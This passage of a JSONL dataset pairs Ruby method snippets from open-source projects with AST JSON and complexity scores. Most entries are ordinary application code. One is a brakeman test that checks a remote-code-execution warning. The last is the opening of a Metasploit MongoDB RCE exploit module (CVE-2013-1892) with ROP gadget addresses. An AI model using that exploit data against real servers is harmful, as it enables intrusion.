end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_foreign_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from_table\"]},{\"type\":\"optarg\",\"children\":[\"to_table\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_foreign_keys?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"if_exists\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foreign_key_exists?\",{\"type\":\"lvar\",\"children\":[\"from_table\"]},{\"type\":\"lvar\",\"children\":[\"to_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"column\"]}]}]}]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"fk_name_to_delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foreign_key_for!\",{\"type\":\"lvar\",\"children\":[\"from_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"lvar\",\"children\":[\"to_table\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"at\",{\"type\":\"send\",\"children\":[null,\"create_alter_table\",{\"type\":\"lvar\",\"children\":[\"from_table\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"drop_foreign_key\",{\"type\":\"lvar\",\"children\":[\"fk_name_to_delete\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_creation\"]},\"accept\",{\"type\":\"lvar\",\"children\":[\"at\"]}]}]}]}]}","id":"d81d3d06-1a41-4d3d-b12c-afe12a5f43c7"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_relations_tab/relations_mediator.rb","start_line":84,"raw_source":"def initialize(type:, work_package:, relation:, visibility: :visible, closest: false)\n type = ActiveSupport::StringInquirer.new(type.to_s)\n if relation.is_a?(Relation)\n related = relation.other_work_package(work_package)\n else\n related = relation # for parent-child relations, `relation` parameter holds the child or parent work package\n relation = nil\n end\n super(type:, work_package:, related:, relation:, visibility:, closest:)\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"type\"]},{\"type\":\"kwarg\",\"children\":[\"work_package\"]},{\"type\":\"kwarg\",\"children\":[\"relation\"]},{\"type\":\"kwoptarg\",\"children\":[\"visibility\",{\"type\":\"sym\",\"children\":[\"visible\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"closest\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"StringInquirer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Relation\"]}]},{\"type\":\"lvasgn\",\"children\":[\"related\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"other_work_package\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"related\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"related\"]},{\"type\":\"lvar\",\"children\":[\"related\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"lvar\",\"children\":[\"visibility\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closest\"]},{\"type\":\"lvar\",\"children\":[\"closest\"]}]}]}]}]}]}","id":"8dbbff35-3218-45e5-b3a0-1bdea2978315"}
+{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/refund.rb","start_line":38,"raw_source":"def money\n Spree::Money.new(amount, currency: currency)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"money\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Money\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"amount\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[null,\"currency\"]}]}]}]}]}","id":"58f76cee-34f8-4791-be13-11731feade75"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/generate_summary.rb","start_line":7,"raw_source":"def run(options)\n screenshots = UploadScreenshots.new.collect_screenshots(options)\n UploadMetadata.new(options).load_from_filesystem\n HtmlGenerator.new.render(options, screenshots, '.')\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"screenshots\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadScreenshots\"]},\"new\"]},\"collect_screenshots\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadMetadata\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"load_from_filesystem\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HtmlGenerator\"]},\"new\"]},\"render\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"screenshots\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"6e91a3bc-270a-497a-b575-d77be7bf2d20"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1659,"raw_source":"def validate_change_column_null_argument!(value)\n unless value == true || value == false\n raise ArgumentError, \"change_column_null expects a boolean value (true for NULL, false for NOT NULL). Got: #{value.inspect}\"\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_change_column_null_argument!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"change_column_null expects a boolean value (true for NULL, false for NOT NULL). Got: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"inspect\"]}]}]}]}]}]}","id":"036859e7-c4cf-4603-81db-e0bb1d91b6a0"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/topic_user_spec.rb","start_line":94,"raw_source":"def ensure_topic_user\n TopicUser.change(user, topic, last_emailed_post_number: 1)\n end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_topic_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"change\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"topic\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_emailed_post_number\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"2677b34b-7fac-46f9-83a3-d4bd5bdf3d4f"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails52.rb","start_line":525,"raw_source":"def test_remote_code_execution_oj_load\n assert_warning :type => :warning,\n :warning_code => 25,\n :fingerprint => \"97ecaa5677c8eadaed09217a704e59092921fab24cc751e05dfb7b167beda2cf\",\n :warning_type => \"Remote Code Execution\",\n :line => 51,\n :message => /^`Oj\\.load`\\ called\\ with\\ parameter\\ value/,\n :confidence => 0,\n :relative_path => \"app/controllers/users_controller.rb\",\n :code => s(:call, s(:const, :Oj), :load, s(:call, s(:params), :[], s(:lit, :json))),\n :user_input => s(:call, s(:params), :[], s(:lit, :json))\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remote_code_execution_oj_load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"97ecaa5677c8eadaed09217a704e59092921fab24cc751e05dfb7b167beda2cf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[51]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^`Oj\\\\.load`\\\\ called\\\\ with\\\\ parameter\\\\ value\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"Oj\"]}]},{\"type\":\"sym\",\"children\":[\"load\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}]}]}","id":"b0187927-09b0-4d52-83c6-c0d40b1f85f0"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/action_collector.rb","start_line":3,"raw_source":"def show_message\n UI.message(\"Sending Crash/Success information. Learn more at https://docs.fastlane.tools/#metrics\")\n UI.message(\"No personal/sensitive data is sent. Only sharing the following:\")\n UI.message(launches)\n UI.message(@error) if @error\n UI.message(\"This information is used to fix failing actions and improve integrations that are often used.\")\n UI.message(\"You can disable this by adding `opt_out_usage` at the top of your Fastfile\")\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"show_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Sending Crash/Success information. Learn more at https://docs.fastlane.tools/#metrics\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"No personal/sensitive data is sent. Only sharing the following:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"send\",\"children\":[null,\"launches\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"ivar\",\"children\":[\"@error\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"This information is used to fix failing actions and improve integrations that are often used.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"You can disable this by adding `opt_out_usage` at the top of your Fastfile\"]}]}]}]}","id":"6cae1ad6-e475-42f7-8528-d411030128b1"}
+{"repo_name":"forem","file_path":"./repos/forem/app/policies/authorizer.rb","start_line":202,"raw_source":"def has_any_role?(*args)\n user.__send__(:has_any_role?, *args)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_any_role?\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"has_any_role?\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"f0bb1580-e153-4f1c-9960-ff5e391378af"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter_serializer.rb","start_line":51,"raw_source":"def self.dump(filters)\n YAML.dump ((filters || []).map(&:to_hash).reduce(:merge) || {}).stringify_keys\n end","complexity_score":10.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_hash\"]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"merge\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"stringify_keys\"]}]}]}","id":"4d2a0cc7-3010-4ff0-84fb-d4603cf5cb9e"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/reject_reason_reviewable.rb","start_line":20,"raw_source":"def delete_user\n modal.find(\".d-modal__footer .btn.btn-danger\").click\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modal\"]},\"find\",{\"type\":\"str\",\"children\":[\".d-modal__footer .btn.btn-danger\"]}]},\"click\"]}]}","id":"b06c9899-f6db-4447-a8fa-7d2e18991c03"}
+{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/telligent.rb","start_line":634,"raw_source":"def get_recipient_usernames(row)\n import_user_ids = get_recipient_user_ids(row[\"ParticipantIds\"])\n\n import_user_ids\n .map! { |import_user_id| find_user_by_import_id(import_user_id).try(:username) }\n .compact\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_recipient_usernames\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"import_user_ids\",{\"type\":\"send\",\"children\":[null,\"get_recipient_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ParticipantIds\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_user_ids\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_user_by_import_id\",{\"type\":\"lvar\",\"children\":[\"import_user_id\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},\"compact\"]}]}]}","id":"6e2a5789-c33a-47f5-8f9c-cb04dce2e845"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/options.rb","start_line":109,"raw_source":"def test_limit_options\n options = setup_options_from_input(\"--branch-limit\", \"17\")\n assert_equal 17, options[:branch_limit]\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_limit_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"--branch-limit\"]},{\"type\":\"str\",\"children\":[\"17\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[17]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch_limit\"]}]}]}]}]}","id":"f1a57964-1c07-4068-84f4-93c61d9ce39d"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250922064238_add_indexes_to_partitioned_project_daily_statistics.rb","start_line":18,"raw_source":"def up\n INDEX_DEFINITIONS.each do |columns, options|\n add_concurrent_partitioned_index(TABLE_NAME, columns, options)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEX_DEFINITIONS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"columns\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"f5edbf81-e9e8-40a2-a307-d1381382d796"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":424,"raw_source":"def enforce_policy(event, inputs = {}, options = {})\n return {\"result\" => true, :details => []} if event.to_s == \"rsop\" && host.nil?\n raise _(\"vm does not belong to any host\") if host.nil? && ext_management_system.nil?\n\n inputs[:vm] = self\n inputs[:host] = host unless host.nil?\n inputs[:ext_management_system] = ext_management_system unless ext_management_system.nil?\n MiqEvent.raise_evm_event(self, event, inputs, options)\n end","complexity_score":30.8,"ast_json":"{\"type\":\"def\",\"children\":[\"enforce_policy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"optarg\",\"children\":[\"inputs\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"rsop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"array\",\"children\":[]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"vm does not belong to any host\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vm\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ext_management_system\"]},{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEvent\"]},\"raise_evm_event\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"inputs\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"35077fc3-b2e3-4b20-bcf9-fa61d2911702"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/admin/instance_clusters.rb","start_line":167,"raw_source":"def update_cluster_params\n declared_params(include_missing: false).without(:cluster_id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_cluster_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"declared_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_missing\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"without\",{\"type\":\"sym\",\"children\":[\"cluster_id\"]}]}]}","id":"0520ef50-4056-4d0a-907e-42fec2fbcf6e"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_creator.rb","start_line":89,"raw_source":"def create_warning(topic)\n return unless @opts[:is_warning]\n\n # We can only attach warnings to PMs\n rollback_with!(topic, :warning_requires_pm) unless topic.private_message?\n\n # Don't create it if there is more than one user\n rollback_with!(topic, :too_many_users) if @added_users.size != 1\n\n # Create a warning record\n UserWarning.create(topic: topic, user: @added_users.first, created_by: @user)\n end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_warning\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"is_warning\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"private_message?\"]},null,{\"type\":\"send\",\"children\":[null,\"rollback_with!\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"warning_requires_pm\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@added_users\"]},\"size\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"rollback_with!\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"too_many_users\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserWarning\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@added_users\"]},\"first\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_by\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}]}","id":"7e84fdc7-00ef-421c-9217-4e734703c08c"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/mongod_native_helper.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',\n 'Description' => %q{\n This module exploits the nativeHelper feature from spiderMonkey which allows\n remote code execution by calling it with specially crafted arguments. This module\n has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.\n },\n 'Author' => [\n 'agix' # @agixid # Vulnerability discovery and Metasploit module\n ],\n 'References' => [\n [ 'CVE', '2013-1892' ],\n [ 'OSVDB', '91632' ],\n [ 'BID', '58695' ],\n [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]\n ],\n 'Platform' => 'linux',\n 'Targets' => [\n [\n 'Linux - mongod 2.2.3 - 32bits',\n {\n 'Arch' => ARCH_X86,\n 'mmap' => [\n 0x0816f768,\t# mmap64@plt # from mongod\n 0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod\n 0x31337000,\n 0x00002000,\n 0x00000007,\n 0x00000031,\n 0xffffffff,\n 0x00000000,\n 0x00000000,\n 0x0816e4c8,\t# memcpy@plt # from mongod\n 0x31337000,\n 0x31337000,\n 0x0c0b0000,\n 0x00002000\n ],\n 'ret' => 0x08055a70, # ret # from mongod\n 'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]\n # These gadgets need to be composed with bytes < 0x80\n 'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP\n 'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2\n 'gadget4' => 0x08055a6c, # pop eax / ret\n 'gadget5' => 0x08457158 # xchg esp,eax\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2013-03-24',\n 'License' => MSF_LICENSE,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => 